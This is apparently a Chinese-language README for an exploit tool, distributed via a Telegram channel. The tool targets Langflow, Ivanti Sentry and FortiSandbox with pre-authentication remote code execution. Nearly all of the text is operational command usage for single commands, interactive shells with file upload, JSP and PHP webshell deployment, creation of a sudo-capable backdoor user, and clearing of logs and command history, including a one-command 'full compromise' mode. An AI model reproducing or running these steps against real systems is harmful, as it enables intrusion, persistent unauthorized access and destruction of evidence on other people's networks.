(CVE-2026-5027) 和 (CVE-2026-10520) (CVE-2026-25089) 利用工具：

克隆

git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

使用 (exploit.py) 文件

自动测试和利用。

python3 exploit.py -u https://target.com

CLI 自定义设置

当 webshell 位于文件夹内时使用自己的 webshell：

python3 exploit.py -u https://target.com --shell

(📁shells/my-shell.php)

当 webshell 位于工具文件夹中或终端内且不在文件夹中时：

python3 exploit.py -u https://target.com --shell my-shell.php

您的 webshell 可以是 (PHP, Python (CGI), Perl, Ruby, ASPX)。

您可以使用 --t 设置超时，并使用 --p 从文件夹和文件中加载/使用 payload 或自定义路径：

python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

示例：

python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

使用 (exploitt.py) 文件

针对以下 CVE 设计：

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

预认证远程代码执行

无需凭据。

📖 使用方法

快速开始 - 交互式菜单（无参数）

python3 exploitt.py

然后按照提示操作：

1. 选择目标类型 (Ivanti 或 Forti)

输入目标 URL (例如 https://192.168.1.100:8443)
设置超时、代理、调试模式
选择操作 (命令、shell、webshell 等)

命令行（高级）

1. Ivanti Sentry (CVE-2026-10520)

# 检查是否存在漏洞
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# 交互式 shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# 部署 JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# 创建后门用户 + 清除日志
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean

FortiSandbox (CVE-2026-25089)

# 单条命令
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# 交互式 shell 并支持文件上传
python3 exploitt.py -u https://forti.example.com --type forti -s
# 在 shell 内：upload /path/local.txt /remote/path.txt

# 部署 PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w

# 完全自动攻破 (检查、shell、webshell、持久化、清除)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean

自动检测（脚本猜测服务类型）

python3 exploitt.py -u https://target.example.com -c "id"

使用代理和调试

python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

可用的命令行参数

交互式 shell 命令

在交互式 shell 中，您可以使用：

命令	示例	描述
normal command	id	执行任意系统命令
upload	upload exploit.sh /tmp/backdoor.sh	将本地文件上传到远程主机
exit	exit	退出 shell

Webshell 部署细节

· Ivanti Sentry – 在 Tomcat webapps 中部署 .jsp shell (/usr/local/tomcat/webapps/ROOT/) · 通过 https://target/shell_random.jsp?cmd=whoami 访问 · FortiSandbox – 在 Web 根目录中部署 .php shell (/var/www/html/) · 通过 https://target/shell_random.php?cmd=whoami 访问

示例工作流程（完整渗透测试）

# 1. 检测并利用
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. 在 shell 内，检查权限
id

# 3. 部署 webshell 以实现持久化
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. 创建后门用户
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. 清除日志
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

由 Red Telegram 频道提供：

https://t.me/Red_Rooted_Ghost

-u, --url	目标 URL (例如 https://192.168.1.100:8443)
--type	强制服务类型: ivanti 或 forti (可选，自动检测)
-t, --timeout	请求超时秒数 (默认 30)
--proxy	HTTP/HTTPS 代理 (例如 http://127.0.0.1:8080)
-d, --debug	启用调试输出
--ua	自定义 User-Agent 字符串
-c, --cmd	执行单个命令并退出
-s, --shell	启动交互式 shell
-w, --webshell	部署 webshell (Forti 使用 PHP, Ivanti 使用 JSP)
-p, --persist	创建持久的 sudo 可用后门用户
--clean	清除日志和命令历史记录

最受欢迎

CVE-2026-5027-Langflow